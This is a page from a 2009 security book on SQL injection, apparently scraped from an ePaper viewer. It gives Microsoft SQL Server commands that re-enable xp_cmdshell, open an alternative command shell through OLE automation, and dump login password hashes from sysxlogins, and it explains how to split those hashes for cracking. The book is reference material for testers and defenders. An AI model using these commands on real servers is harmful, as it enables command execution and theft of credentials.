28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

430 Chapter 10 • References<br />

If the xp_cmdshell stored procedure has been dropped but the .dll has not been deleted,<br />

the following will reenable it:<br />

EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'<br />

EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'<br />

xp_cmdshell Alternative<br />

As an alternative to the xp_cmdshell stored procedure, you can execute the following<br />

<strong>SQL</strong> statements to achieve the same effect:<br />

DECLARE @altshell INT<br />

EXEC SP_OACREATE 'wscript.shell',@altshell OUTPUT<br />

EXEC SP_OAMETHOD @altshell,'run',null, '%systemroot%\system32\cmd.exe /c'<br />

To execute this alternative shell on Microsoft <strong>SQL</strong> Server 2005 you will first need to<br />

execute the following <strong>SQL</strong>:<br />

EXEC sp_configure 'show advanced options', 1<br />

EXEC sp_configure reconfigure<br />

EXEC sp_configure 'Ole Automation Procedures', 1<br />

EXEC sp_configure reconfigure<br />

Cracking Database Passwords<br />

Microsoft <strong>SQL</strong> Server 2000 password hashes are stored within the sysxlogins table <strong>and</strong> you<br />

can extract them using the following <strong>SQL</strong> statement:<br />

SELECT user,password FROM master.dbo.sysxlogins<br />

The result of the preceding query looks something like the following:<br />

sa, 0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76<br />

BF4EB124550ACABDFD1457<br />

The long string beginning with 0x0100 can be dissected as follows. The first four<br />

bytes following the 0x are constant; the next eight bytes are the hash salt—in this example,<br />

the salt value is 236A261C. The remaining 80 bytes are actually two hashes; the first 40<br />

bytes are a case-sensitive hash of the password, <strong>and</strong> the second 40 bytes are an uppercased<br />

version.<br />

Here is the case-sensitive hash:<br />

E12AB57BA22A7F44CE3B780E52098378B6585289<br />

And here is the case-insensitive hash:<br />

2EEE91C0784B911D76BF4EB124550ACABDFD1457<br />

The salt <strong>and</strong> either (or both) password hashes can be loaded into Cain & Abel<br />

(www.oxid.it) to launch a dictionary or brute force attack against the password.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!